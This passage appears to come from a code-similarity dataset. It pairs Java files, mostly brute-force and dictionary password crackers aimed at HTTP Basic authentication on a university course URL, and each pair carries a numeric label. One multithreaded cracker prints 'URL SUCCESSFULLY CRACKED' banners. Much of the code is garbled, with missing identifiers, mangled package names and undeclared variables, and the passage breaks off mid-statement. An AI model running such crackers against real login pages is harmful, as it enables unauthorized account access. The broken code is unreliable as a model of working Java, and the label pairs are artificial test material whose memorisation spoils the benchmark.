import java.net.*; import java.io.*; public class Dictionary extends Authenticator { private String username; private char [] thisPassword; private URL url; private BufferedReader bf; public static void main(String [] args) { if(args.length!=3) { System.err.println( "usage: Dictionary <url> <username> <dictionary-file>"); System.exit(1); } Dictionary d = null; try { d = new Dictionary(args[0], args[1], args[2]); } catch (MalformedURLException me) { me.printStackTrace(); System.exit(1); } catch (FileNotFoundException fe) { fe.printStackTrace(); System.exit(1); } d.work(); } public Dictionary(String url, String username, String passwordFilename) throws MalformedURLException, FileNotFoundException { this.url = new URL(url); this.username = username; thisPassword = new char [] {'a'}; File f = new File(passwordFilename); FileReader fr = new FileReader(f); bf = new BufferedReader(fr); } public void work() { Authenticator.setDefault(this); HttpURLConnection uc = null; try { uc = (HttpURLConnection) url.openConnection(); uc.connect(); while(uc.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED && thisPassword !=null) { try { InputStream is = uc.getInputStream(); uc.connect(); } catch (ProtocolException pe) { uc = (HttpURLConnection) url.openConnection(); } catch (NullPointerException npe) { npe.printStackTrace(); System.exit(1); } } } catch (java.io.IOException e ) { e.printStackTrace(); System.exit(1); } System.out.println("password=" + new String(thisPassword)); } public PasswordAuthentication getPasswordAuthentication() { String s=null; try { for(s = bf.readLine(); s!=null; s = bf.readLine()) { if(s.length()==3) { break; } } } catch (IOException e) { e.printStackTrace(); System.exit(1); } if(s.length()!=3) { thisPassword = null; } else { thisPassword = s.toCharArray(); } return new PasswordAuthentication(username, thisPassword); } }
194.java
182.java
0
import java.io.*; import java.util.*; class BruteForce{ public static void main(String args[]){ String pass,s; char a,b,c; int z=0; int attempt=0; Process p; char password[]={'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q', 'R','S','T','U','V','W','X','Y','Z','a','b','c','d','e','f','g','h', 'i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z'}; z = System.currentTimeMillis(); int at=0; for(int i=0;i<password.length;i++){ for(int j=0;j<password.length;j++){ for(int k=0;k<password.length;k++){ pass=String.valueOf(password[i])+String.valueOf(password[j])+String.valueOf(password[k]); try { System.out.println("Trying crack using: "+pass); at++; p = Runtime.getRuntime().exec("wget --http-user= --http-passwd="+pass+" http://sec-crack.cs.rmit.edu./SEC/2/index.php"); try{ p.waitFor(); } catch(Exception q){} z = p.exitValue(); if(z==0) { finish = System.currentTimeMillis(); float time = finish - t; System.out.println("PASSWORD CRACKED:"+ pass + " in " + at + " attempts " ); System.out.println("PASSWORD CRACKED:"+ pass + " in " + time + " milliseconds " ); System.exit(0); } } catch (IOException e) { System.out.println("Exception happened"); e.printStackTrace(); System.exit(-1); } } } } } }
import java.net.*; import java.io.*; public class Dictionary extends Authenticator { private String username; private char [] thisPassword; private URL url; private BufferedReader bf; public static void main(String [] args) { if(args.length!=3) { System.err.println( "usage: Dictionary <url> <username> <dictionary-file>"); System.exit(1); } Dictionary d = null; try { d = new Dictionary(args[0], args[1], args[2]); } catch (MalformedURLException me) { me.printStackTrace(); System.exit(1); } catch (FileNotFoundException fe) { fe.printStackTrace(); System.exit(1); } d.work(); } public Dictionary(String url, String username, String passwordFilename) throws MalformedURLException, FileNotFoundException { this.url = new URL(url); this.username = username; thisPassword = new char [] {'a'}; File f = new File(passwordFilename); FileReader fr = new FileReader(f); bf = new BufferedReader(fr); } public void work() { Authenticator.setDefault(this); HttpURLConnection uc = null; try { uc = (HttpURLConnection) url.openConnection(); uc.connect(); while(uc.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED && thisPassword !=null) { try { InputStream is = uc.getInputStream(); uc.connect(); } catch (ProtocolException pe) { uc = (HttpURLConnection) url.openConnection(); } catch (NullPointerException npe) { npe.printStackTrace(); System.exit(1); } } } catch (java.io.IOException e ) { e.printStackTrace(); System.exit(1); } System.out.println("password=" + new String(thisPassword)); } public PasswordAuthentication getPasswordAuthentication() { String s=null; try { for(s = bf.readLine(); s!=null; s = bf.readLine()) { if(s.length()==3) { break; } } } catch (IOException e) { e.printStackTrace(); System.exit(1); } if(s.length()!=3) { thisPassword = null; } else { thisPassword = s.toCharArray(); } return new PasswordAuthentication(username, thisPassword); } }
082.java
182.java
0
import java.net.*; import java.util.*; import java.io.*; public class BruteForce { URL url; URLConnection uc; String username, password, encoding; int pretime, posttime; String c ; public BruteForce(){ pretime = new Date().getTime(); try{ url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/index.php"); }catch(MalformedURLException e){ e.printStackTrace(); } username = ""; } public void checkPassword(char[] pw){ try{ password = new String(pw); encoding = new pw.misc.BASE64Encoder().encode((username+":"+password).getBytes()); uc = url.openConnection(); uc.setRequestProperty("Authorization", " " + encoding); bf = uc.getHeaderField(null); System.out.println(password); if(bf.equals("HTTP/1.1 200 OK")){ posttime = new Date().getTime(); diff = posttime - pretime; System.out.println(username+":"+password); System.out.println(); System.out.println(diff/1000/60 + " minutes " + diff/1000%60 + " seconds"); System.exit(0); } }catch(MalformedURLException e){ e.printStackTrace(); }catch(IOException ioe){ ioe.printStackTrace(); } } public static void main (String[] args){ BruteForce bf = new BruteForce(); char i, j, k; for(i='a'; i<='z'; i++){ for(j='a'; j<='z'; j++){ for(k='a'; k<='z'; k++){ char[] pw = {i, j, k}; bf.checkPassword(pw); } } } for(i='A'; i<='Z'; i++){ for(j='A'; j<='Z'; j++){ for(k='A'; k<='Z'; k++){ char[] pw = {i, j, k}; bf.checkPassword(pw); } } } for(i='A'; i<='Z'; i++){ for(j='a'; j<='z'; j++){ for(k='a'; k<='z'; k++){ char[] pw = {i, j, k}; bf.checkPassword(pw); } } } for(i='A'; i<='z'; i++){ if((i=='[') || (i=='\\') || (i==']') || (i=='^') || (i=='_') || (i=='`')){ continue; } for(j='A'; j<='Z'; j++){ for(k='a'; k<='z'; k++){ char[] pw = {i, j, k}; bf.checkPassword(pw); } } } for(i='A'; i<='z'; i++){ if((i=='[') || (i=='\\') || (i==']') || (i=='^') || (i=='_') || (i=='`')){ continue; } for(j='a'; j<='z'; j++){ for(k='A'; k<='Z'; k++){ char[] pw = {i, j, k}; bf.checkPassword(pw); } } } for(i='a'; i<='z'; i++){ for(j='A'; j<='Z'; j++){ for(k='A'; k<='Z'; k++){ char[] pw = {i, j, k}; bf.checkPassword(pw); } } } for(i='A'; i<='z'; i++){ if((i=='[') || (i=='\\') || (i==']') || (i=='^') || (i=='_') || (i=='`')){ continue; } for(j='A'; j<='z'; j++){ if((j=='[') || (j=='\\') || (j==']') || (j=='^') || (j=='_') || (j=='`')){ continue; } char[] pw = {i, j}; bf.checkPassword(pw); } } for(i='A'; i<='z'; i++){ if((i=='[') || (i=='\\') || (i==']') || (i=='^') || (i=='_') || (i=='`')){ continue; } char[] pw = {i}; bf.checkPassword(pw); } } }
import java.net.*; import java.io.*; public class Dictionary extends Authenticator { private String username; private char [] thisPassword; private URL url; private BufferedReader bf; public static void main(String [] args) { if(args.length!=3) { System.err.println( "usage: Dictionary <url> <username> <dictionary-file>"); System.exit(1); } Dictionary d = null; try { d = new Dictionary(args[0], args[1], args[2]); } catch (MalformedURLException me) { me.printStackTrace(); System.exit(1); } catch (FileNotFoundException fe) { fe.printStackTrace(); System.exit(1); } d.work(); } public Dictionary(String url, String username, String passwordFilename) throws MalformedURLException, FileNotFoundException { this.url = new URL(url); this.username = username; thisPassword = new char [] {'a'}; File f = new File(passwordFilename); FileReader fr = new FileReader(f); bf = new BufferedReader(fr); } public void work() { Authenticator.setDefault(this); HttpURLConnection uc = null; try { uc = (HttpURLConnection) url.openConnection(); uc.connect(); while(uc.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED && thisPassword !=null) { try { InputStream is = uc.getInputStream(); uc.connect(); } catch (ProtocolException pe) { uc = (HttpURLConnection) url.openConnection(); } catch (NullPointerException npe) { npe.printStackTrace(); System.exit(1); } } } catch (java.io.IOException e ) { e.printStackTrace(); System.exit(1); } System.out.println("password=" + new String(thisPassword)); } public PasswordAuthentication getPasswordAuthentication() { String s=null; try { for(s = bf.readLine(); s!=null; s = bf.readLine()) { if(s.length()==3) { break; } } } catch (IOException e) { e.printStackTrace(); System.exit(1); } if(s.length()!=3) { thisPassword = null; } else { thisPassword = s.toCharArray(); } return new PasswordAuthentication(username, thisPassword); } }
176.java
182.java
0
public class ImageFile { private String imageUrl; private int imageSize; public ImageFile(String url, int size) { imageUrl=url; imageSize=size; } public String getImageUrl() { return imageUrl; } public int getImageSize() { return imageSize; } }
import java.net.*; import java.io.*; public class Dictionary extends Authenticator { private String username; private char [] thisPassword; private URL url; private BufferedReader bf; public static void main(String [] args) { if(args.length!=3) { System.err.println( "usage: Dictionary <url> <username> <dictionary-file>"); System.exit(1); } Dictionary d = null; try { d = new Dictionary(args[0], args[1], args[2]); } catch (MalformedURLException me) { me.printStackTrace(); System.exit(1); } catch (FileNotFoundException fe) { fe.printStackTrace(); System.exit(1); } d.work(); } public Dictionary(String url, String username, String passwordFilename) throws MalformedURLException, FileNotFoundException { this.url = new URL(url); this.username = username; thisPassword = new char [] {'a'}; File f = new File(passwordFilename); FileReader fr = new FileReader(f); bf = new BufferedReader(fr); } public void work() { Authenticator.setDefault(this); HttpURLConnection uc = null; try { uc = (HttpURLConnection) url.openConnection(); uc.connect(); while(uc.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED && thisPassword !=null) { try { InputStream is = uc.getInputStream(); uc.connect(); } catch (ProtocolException pe) { uc = (HttpURLConnection) url.openConnection(); } catch (NullPointerException npe) { npe.printStackTrace(); System.exit(1); } } } catch (java.io.IOException e ) { e.printStackTrace(); System.exit(1); } System.out.println("password=" + new String(thisPassword)); } public PasswordAuthentication getPasswordAuthentication() { String s=null; try { for(s = bf.readLine(); s!=null; s = bf.readLine()) { if(s.length()==3) { break; } } } catch (IOException e) { e.printStackTrace(); System.exit(1); } if(s.length()!=3) { thisPassword = null; } else { thisPassword = s.toCharArray(); } return new PasswordAuthentication(username, thisPassword); } }
105.java
182.java
0
import java.io.*; import java.net.*; import java.misc.BASE64Encoder; public class Dictionary { public Dictionary() {} public boolean fetchURL(String urlString,String username,String password) { StringWriter sw= new StringWriter(); PrintWriter pw = new PrintWriter(); try{ URL url=new URL(urlString); String userPwd= username+":"+password; BASE64Encoder encoder = new BASE64Encoder(); String encodedStr = encoder.encode (userPwd.getBytes()); System.out.println("Original String = " + userPwd); System.out.println("Encoded String = " + encodedStr); HttpURLConnection huc=(HttpURLConnection) url.openConnection(); huc.setRequestProperty( "Authorization"," "+encodedStr); InputStream content = (InputStream)huc.getInputStream(); BufferedReader in = new BufferedReader (new InputStreamReader (content)); String line; while ((line = in.readLine()) != null) { pw.println (line); System.out.println(""); System.out.println(sw.toString()); }return true; } catch (MalformedURLException e) { pw.println ("Invalid URL"); return false; } catch (IOException e) { pw.println ("Error URL"); return false; } } public void getPassword() { String dictionary="words"; String urlString="http://sec-crack.cs.rmit.edu./SEC/2/"; String login=""; String pwd=" "; try { BufferedReader inputStream=new BufferedReader(new FileReader(dictionary)); startTime=System.currentTimeMillis(); while (pwd!=null) { pwd=inputStream.readLine(); if(this.fetchURL(urlString,login,pwd)) { finishTime=System.currentTimeMillis(); System.out.println("Finally I gotta it, password is : "+pwd); System.out.println("The time for cracking password is: "+(finishTime-startTime) + " milliseconds"); System.exit(1); } } inputStream.close(); } catch(FileNotFoundException e) { System.out.println("Dictionary not found."); } catch(IOException e) { System.out.println("Error dictionary"); } } public static void main(String[] arguments) { BruteForce bf=new BruteForce(); bf.getPassword(); } }
import java.net.*; import java.io.*; public class Dictionary extends Authenticator { private String username; private char [] thisPassword; private URL url; private BufferedReader bf; public static void main(String [] args) { if(args.length!=3) { System.err.println( "usage: Dictionary <url> <username> <dictionary-file>"); System.exit(1); } Dictionary d = null; try { d = new Dictionary(args[0], args[1], args[2]); } catch (MalformedURLException me) { me.printStackTrace(); System.exit(1); } catch (FileNotFoundException fe) { fe.printStackTrace(); System.exit(1); } d.work(); } public Dictionary(String url, String username, String passwordFilename) throws MalformedURLException, FileNotFoundException { this.url = new URL(url); this.username = username; thisPassword = new char [] {'a'}; File f = new File(passwordFilename); FileReader fr = new FileReader(f); bf = new BufferedReader(fr); } public void work() { Authenticator.setDefault(this); HttpURLConnection uc = null; try { uc = (HttpURLConnection) url.openConnection(); uc.connect(); while(uc.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED && thisPassword !=null) { try { InputStream is = uc.getInputStream(); uc.connect(); } catch (ProtocolException pe) { uc = (HttpURLConnection) url.openConnection(); } catch (NullPointerException npe) { npe.printStackTrace(); System.exit(1); } } } catch (java.io.IOException e ) { e.printStackTrace(); System.exit(1); } System.out.println("password=" + new String(thisPassword)); } public PasswordAuthentication getPasswordAuthentication() { String s=null; try { for(s = bf.readLine(); s!=null; s = bf.readLine()) { if(s.length()==3) { break; } } } catch (IOException e) { e.printStackTrace(); System.exit(1); } if(s.length()!=3) { thisPassword = null; } else { thisPassword = s.toCharArray(); } return new PasswordAuthentication(username, thisPassword); } }
136.java
182.java
0
import java.util.*; import java.io.*; import java.net.*; public class MyWatchDogTimer extends TimerTask { public void run() { Runtime rt = Runtime.getRuntime(); Process prss= null; String initialmd5,presentmd5,finalmd5,temp1; String mesg1 = new String(); String subject = new String("Report of WatchDog"); int i; try { prss = rt.exec("md5sum first.html"); InputStreamReader instre1 = new InputStreamReader(prss.getInputStream()); BufferedReader bufread1 = new BufferedReader(instre1); sw = bufread1.readLine(); i = finalmd5.indexOf(' '); initialmd5 = finalmd5.substring(0,i); System.out.println("this is of first.html--->"+initialmd5); prss = rt.exec("wget -R mpg,mpeg, --output-document=present.html http://www.cs.rmit.edu./students/"); prss = rt.exec("md5sum present.html"); InputStreamReader instre2 = new InputStreamReader(prss.getInputStream()); BufferedReader bufread2 = new BufferedReader(instre2); temp1 = bufread2.readLine(); i = temp1.indexOf(' '); presentmd5 = temp1.substring(0,i); System.out.println("this is of present.html---->"+presentmd5); if(initialmd5.equals(presentmd5)) System.out.println("The checksum found using md5sum is same"); else { prss = rt.exec("diff first.html present.html > diff.html"); System.out.println(" is different"); prss = null; mesg1 ="php mail.php"; prss = rt.exec(mesg1); } prss = rt.exec("rm present.*"); }catch(java.io.IOException e){} } }
import java.net.*; import java.io.*; public class Dictionary extends Authenticator { private String username; private char [] thisPassword; private URL url; private BufferedReader bf; public static void main(String [] args) { if(args.length!=3) { System.err.println( "usage: Dictionary <url> <username> <dictionary-file>"); System.exit(1); } Dictionary d = null; try { d = new Dictionary(args[0], args[1], args[2]); } catch (MalformedURLException me) { me.printStackTrace(); System.exit(1); } catch (FileNotFoundException fe) { fe.printStackTrace(); System.exit(1); } d.work(); } public Dictionary(String url, String username, String passwordFilename) throws MalformedURLException, FileNotFoundException { this.url = new URL(url); this.username = username; thisPassword = new char [] {'a'}; File f = new File(passwordFilename); FileReader fr = new FileReader(f); bf = new BufferedReader(fr); } public void work() { Authenticator.setDefault(this); HttpURLConnection uc = null; try { uc = (HttpURLConnection) url.openConnection(); uc.connect(); while(uc.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED && thisPassword !=null) { try { InputStream is = uc.getInputStream(); uc.connect(); } catch (ProtocolException pe) { uc = (HttpURLConnection) url.openConnection(); } catch (NullPointerException npe) { npe.printStackTrace(); System.exit(1); } } } catch (java.io.IOException e ) { e.printStackTrace(); System.exit(1); } System.out.println("password=" + new String(thisPassword)); } public PasswordAuthentication getPasswordAuthentication() { String s=null; try { for(s = bf.readLine(); s!=null; s = bf.readLine()) { if(s.length()==3) { break; } } } catch (IOException e) { e.printStackTrace(); System.exit(1); } if(s.length()!=3) { thisPassword = null; } else { thisPassword = s.toCharArray(); } return new PasswordAuthentication(username, thisPassword); } }
051.java
182.java
0
import java.io.*; import java.net.*; import java.*; import java.Runtime.*; import java.Object.*; import java.util.*; import java.util.StringTokenizer; public class Dictionary { String uname = ""; String pword = "null"; Vector v = new Vector(); int runTime; public void doConnect(String connect, int num) { String = connect; try { URL secureSite = new URL(); URLConnection connection = secureSite.openConnection(); if (uname != null || pword != null) { for(int i=num; i<v.size(); i++) { pword = (String)v.elementAt(i); String up = uname + ":" + pword; String encoding; try { connection.misc.BASE64Encoder encoder = (con.misc.BASE64Encoder) Class.forName(".misc.BASE64Encoder").newInstance(); encoding = encoder.encode (up.getBytes()); } catch (Exception ex) { Base64Converter encoder = new Base64Converter(); System.out.println("in catch"); encoding = encoder.encode(up.getBytes()); } connection.setRequestProperty ("Authorization", " " + encoding); connection.connect(); if(connection instanceof HttpURLConnection) { HttpURLConnection httpCon=(HttpURLConnection)connection; if(httpCon.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED) { System.out.println("Not authorized - check for details" + " -Incorrect Password : " + pword); doConnect(i, i+1); } else { System.out.println("\n\n\nPassword for HTTP Secure Site by Dictionary Attack:"); System.out.println( +"\tPassword : "+ pword); runTime = System.currentTimeMillis() - runTime; System.out.println("Time taken crack password (in seconds)"+" : "+ runTime/1000+"\n"+ "Tries taken crack password : "+ i); System.exit(0); } } } } } catch(Exception ex) { ex.printStackTrace(); } } public Vector getPassword() { try { ReadFile rf = new ReadFile(); rf.loadFile(); v = rf.getVector(); } catch(Exception ex) { ex.printStackTrace(); } return v; } public void setTimeTaken( int timetaken) { runTime = timetaken; } public static void main ( String args[] ) throws IOException { runTime1 = System.currentTimeMillis(); Dictionary newDo = new Dictionary(); newDo.setTimeTaken(runTime1); newDo. getPassword(); String site = "http://sec-crack.cs.rmit.edu./SEC/2/"; newDo.doConnect(site, 0); } } class Base64Converter { public final char [ ] alphabet = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' }; public String encode ( String s ) { return encode ( s.getBytes ( ) ); } public String encode ( byte [ ] octetString ) { int bits24; int bits6; char [ ] out = new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ]; int outIndex = 0; int i = 0; while ( ( i + 3 ) <= octetString.length ) { bits24=( octetString [ i++ ] & 0xFF ) << 16; bits24 |=( octetString [ i++ ] & 0xFF ) << 8; bits6=( bits24 & 0x00FC0000 )>> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0000003F ); out [ outIndex++ ] = alphabet [ bits6 ]; } if ( octetString.length - i == 2 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits24 |=( octetString [ i + 1 ] & 0xFF ) << 8; bits6=( bits24 & 0x00FC0000 )>> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; } else if ( octetString.length - i == 1 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits6=( bits24 & 0x00FC0000 )>> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; out [ outIndex++ ] = '='; } return new String ( out ); } }
import java.net.*; import java.io.*; public class Dictionary extends Authenticator { private String username; private char [] thisPassword; private URL url; private BufferedReader bf; public static void main(String [] args) { if(args.length!=3) { System.err.println( "usage: Dictionary <url> <username> <dictionary-file>"); System.exit(1); } Dictionary d = null; try { d = new Dictionary(args[0], args[1], args[2]); } catch (MalformedURLException me) { me.printStackTrace(); System.exit(1); } catch (FileNotFoundException fe) { fe.printStackTrace(); System.exit(1); } d.work(); } public Dictionary(String url, String username, String passwordFilename) throws MalformedURLException, FileNotFoundException { this.url = new URL(url); this.username = username; thisPassword = new char [] {'a'}; File f = new File(passwordFilename); FileReader fr = new FileReader(f); bf = new BufferedReader(fr); } public void work() { Authenticator.setDefault(this); HttpURLConnection uc = null; try { uc = (HttpURLConnection) url.openConnection(); uc.connect(); while(uc.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED && thisPassword !=null) { try { InputStream is = uc.getInputStream(); uc.connect(); } catch (ProtocolException pe) { uc = (HttpURLConnection) url.openConnection(); } catch (NullPointerException npe) { npe.printStackTrace(); System.exit(1); } } } catch (java.io.IOException e ) { e.printStackTrace(); System.exit(1); } System.out.println("password=" + new String(thisPassword)); } public PasswordAuthentication getPasswordAuthentication() { String s=null; try { for(s = bf.readLine(); s!=null; s = bf.readLine()) { if(s.length()==3) { break; } } } catch (IOException e) { e.printStackTrace(); System.exit(1); } if(s.length()!=3) { thisPassword = null; } else { thisPassword = s.toCharArray(); } return new PasswordAuthentication(username, thisPassword); } }
062.java
182.java
0
import java.util.*; import java.*; import java.awt.*; import java.net.*; import java.io.*; import java.text.*; public class BruteForce { public static String Base64Encode(String s) { byte[] bb = s.getBytes(); byte[] b = bb; char[] table = { 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z', 'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z', '0','1','2','3','4','5','6','7','8','9','+','/' }; if (bb.length % 3!=0) { int x1 = bb.length; b = new byte[(x1/3+1)*3]; int x2 = b.length; for(int i=0;i<x1;i++) b[i] = bb[i]; for(int i=x1;i<x2;i++) b[i] = 0; } char[] c = new char[b.length/3*4]; int i=0, j=0; while (i+3<=b.length) { c[j] = table[(b[i] >> 2)]; c[j+1] = table[(b[i+1] >> 4) | ((b[i] & 3) << 4)]; c[j+2] = table[(b[i+2] >> 6) | ((b[i+1] & 15) << 2)]; c[j+3] = table[(b[i+2] & 63)]; i+=3; j+=4; } j = c.length-1; while (c[j]=='A') { c[j]='='; j--; } return String.valueOf(c); } public synchronized void getAccumulatedLocalAttempt() { attempt = 0; for (int i=0;i<MAXTHREAD;i++) { attempt += threads[i].getLocalAttempt(); } } public synchronized void printStatusReport(String Attempt, String currprogress,String ovrl, double[] attmArr, int idx) { DecimalFormat fmt = new DecimalFormat(); fmt.applyPattern("0.00"); System.out.println(); System.out.println(" ------------------------ [ CURRENT STATISTICS ] ---------------------------"); System.out.println(); System.out.println(" Current connections : "+curconn); System.out.println(" Current progress : "+attempt+ " of "+ALLCOMBI+" ("+currprogress+"%)"); System.out.println(" Overall Attempts rate : "+ovrl+" attempts second (approx.)"); System.out.println(); System.out.println(" ---------------------------------------------------------------------------"); System.out.println(); } public class MyTT extends TimerTask { public synchronized void run() { if (count==REPORT_INTERVAL) { DecimalFormat fmt = new DecimalFormat(); fmt.applyPattern("0.00"); getAccumulatedLocalAttempt(); double p = (double)attempt/(double)ALLCOMBI*100; double aps = (double) (attempt - attm) / REPORT_INTERVAL; attmArr[attmArrIdx++] = aps; printStatusReport(String.valueOf(attempt),fmt.format(p),fmt.format(getOverallAttemptPerSec()),attmArr,attmArrIdx); count = 0; } else if (count==0) { getAccumulatedLocalAttempt(); attm = attempt; count++; } else { count++; } } public synchronized double getOverallAttemptPerSec() { double val = 0; for (int i=0;i<attmArrIdx;i++) { val+= attmArr[i]; } return val / attmArrIdx; } private int count = 0; private int attm; private int attmArrIdx = 0; private double[] attmArr = new double[2*60*60/10]; } public synchronized void interruptAll(int ID) { for (int i=0;i<MAXTHREAD;i++) { if ((threads[i].isAlive()) && (i!=ID)) { threads[i].interrupt(); } notifyAll(); } } public synchronized void setSuccess(int ID, String p) { passw = p; success = ID; notifyAll(); interruptAll(ID); end = System.currentTimeMillis(); } public synchronized boolean isSuccess() { return (success>=0); } public synchronized void waitUntilAllTerminated() { while (curconn>0) { try { wait(); } catch (InterruptedException e) {} } } public synchronized int waitUntilOK2Connect() { boolean interruptd= false; int idx = -1; while (curconn>=MAXCONN) { try { wait(); } catch (InterruptedException e) { interruptd = true; } } if (!interruptd) { curconn++; for (idx=0;idx<MAXCONN;idx++) if (!connused[idx]) { connused[idx] = true; break; } notifyAll(); } return idx; } public synchronized void decreaseConn(int idx) { curconn--; connused[idx] = false; notifyAll(); } public class ThCrack extends Thread { public ThCrack(int threadID, int startidx, int endidx) { super(" Thread #"+String.valueOf(threadID)+": "); this.ID = threadID; this.startidx = startidx; this.endidx = endidx; setDaemon(true); } public boolean launchRequest(String ID, int connID,String thePass) throws IOException, InterruptedException { int i ; String msg; URL tryURL = new URL(THEURL); connections[connID]=(HttpURLConnection) tryURL.openConnection(); connections[connID].setRequestProperty("Authorization"," "+Base64Encode(USERNAME+":"+thePass)); i = connections[connID].getResponseCode(); msg = connections[connID].getResponseMessage(); connections[connID].disconnect(); if (i==HttpURLConnection.HTTP_OK) { System.out.println(ID+"Trying '"+thePass+"' GOTCHA !!! (= "+String.valueOf()+"-"+msg+")."); setSuccess(this.ID,thePass); return (true); } else { System.out.println(ID+"Trying '"+thePass+"' FAILED (= "+String.valueOf()+"-"+msg+")."); return (false); } } public void rest(int msec) { try { sleep(msec); } catch (InterruptedException e) {} } public String constructPassword( int idx) { int i = idxLimit.length-2; boolean processed = false; String result = ""; while (i>=0) { if (idx>=idxLimit[i]) { int nchar = i + 1; idx-=idxLimit[i]; for (int j=0;j<nchar;j++) { x = (idx % NCHAR); result = charset.charAt((int) x) + result; idx /= NCHAR; } break; } i--; } return result; } public String getStartStr() { return constructPassword(this.startidx); } public String getEndStr() { return constructPassword(this.endidx); } public void run() { i = startidx; boolean keeprunning = true; while ((!isSuccess()) && (i<=endidx) && (keeprunning)) { int idx = waitUntilOK2Connect(); if (idx==-1) { break; } try { launchRequest(getName(), idx, constructPassword(i)); decreaseConn(idx); localattempt++; rest(MAXCONN); i++; } catch (InterruptedException e) { keeprunning = false; break; } catch (IOException e) { decreaseConn(idx); } } if (success==this.ID) { waitUntilAllTerminated(); } } public int getLocalAttempt() { return localattempt; } private int startidx,endidx; private int ID; private int localattempt = 0; } public void printProgramHeader(String mode,int nThread) { System.out.println(); System.out.println(" ********************* [ BRUTE-FORCE CRACKING SYSTEM ] *********************"); System.out.println(); System.out.println(" URL : "+THEURL); System.out.println(" Crack Mode : "+mode); System.out.println(" Characters : "+charset); System.out.println(" . Char : "+MINCHAR); System.out.println(" . Char : "+MAXCHAR); System.out.println(" # of Thread : "+nThread); System.out.println(" Connections : "+MAXCONN); System.out.println(" All Combi. : "+ALLCOMBI); System.out.println(); System.out.println(" ***************************************************************************"); System.out.println(); } public void startNaiveCracking() { MAXTHREAD = 1; MAXCONN = 1; startDistCracking(); } public void startDistCracking() { int startidx,endidx; int thcount; if (isenhanced) { printProgramHeader("ENHANCED BRUTE-FORCE CRACKING ALGORITHM",MAXTHREAD); } else { printProgramHeader("NAIVE BRUTE-FORCE CRACKING ALGORITHM",MAXTHREAD); } i = System.currentTimeMillis(); idxstart = idxLimit[MINCHAR-1]; if (MAXTHREAD>ALLCOMBI - idxstart) { MAXTHREAD = (int) (ALLCOMBI-idxstart); } mult = (ALLCOMBI - idxstart) / MAXTHREAD; for (thcount=0;thcount<MAXTHREAD-1;thcount++) { startidx = thcount*mult + idxstart; endidx = (thcount+1)*mult-1 + idxstart; threads[thcount] = new ThCrack(thcount, startidx, endidx); System.out.println(threads[thcount].getName()+" try crack from '"+threads[thcount].getStartStr()+"' '"+threads[thcount].getEndStr()+"'"); } startidx = (MAXTHREAD-1)*mult + idxstart; endidx = ALLCOMBI-1; threads[MAXTHREAD-1] = new ThCrack(MAXTHREAD-1, startidx, endidx); System.out.println(threads[MAXTHREAD-1].getName()+" try crack from '"+threads[MAXTHREAD-1].getStartStr()+"' '"+threads[MAXTHREAD-1].getEndStr()+"'"); System.out.println(); System.out.println(" ***************************************************************************"); System.out.println(); for (int i=0;i<MAXTHREAD;i++) threads[i].print(); } public BruteForce() { if (isenhanced) { startDistCracking(); } else { startNaiveCracking(); } reportTimer = new java.util.Timer(); MyTT tt = new MyTT(); reportTimer.schedule(tt,1000,1000); while ((success==-1) && (attempt<ALLCOMBI)) { try { Thread.sleep(100); getAccumulatedLocalAttempt(); } catch (InterruptedException e) { } } if (success==-1) { end = System.currentTimeMillis(); } getAccumulatedLocalAttempt(); double ovAps = tt.getOverallAttemptPerSec(); DecimalFormat fmt = new DecimalFormat(); fmt.applyPattern("0.00"); reportTimer.cancel(); try { Thread.sleep(1000); } catch (InterruptedException e) { } synchronized (this) { if (success>=0) { System.out.println(); System.out.println(" ********************* [ URL SUCCESSFULLY CRACKED !! ] *********************"); System.out.println(); System.out.println(" The password is : "+passw); System.out.println(" Number of attempts : "+attempt+" of "+ALLCOMBI+" total combinations"); System.out.println(" Attempt position : "+fmt.format((double)attempt/(double)ALLCOMBI*100)+"%"); System.out.println(" Overal attempt rate : "+fmt.format(ovAps)+ " attempts/sec"); System.out.println(" Cracking time : "+String.valueOf(((double)end-(double)d)/1000) + " seconds"); System.out.println(" Worstcase time estd : "+fmt.format(1/ovAps*ALLCOMBI)+ " seconds"); System.out.println(); System.out.println(" ***************************************************************************"); System.out.println(); } else { System.out.println(); System.out.println(" ********************* [ UNABLE CRACK THE URL !!! ] *********************"); System.out.println(); System.out.println(" Number of attempts : "+attempt+" of "+ALLCOMBI+" total combinations"); System.out.println(" Attempt position : "+fmt.format((double)attempt/(double)ALLCOMBI*100)+"%"); System.out.println(" Overal attempt rate 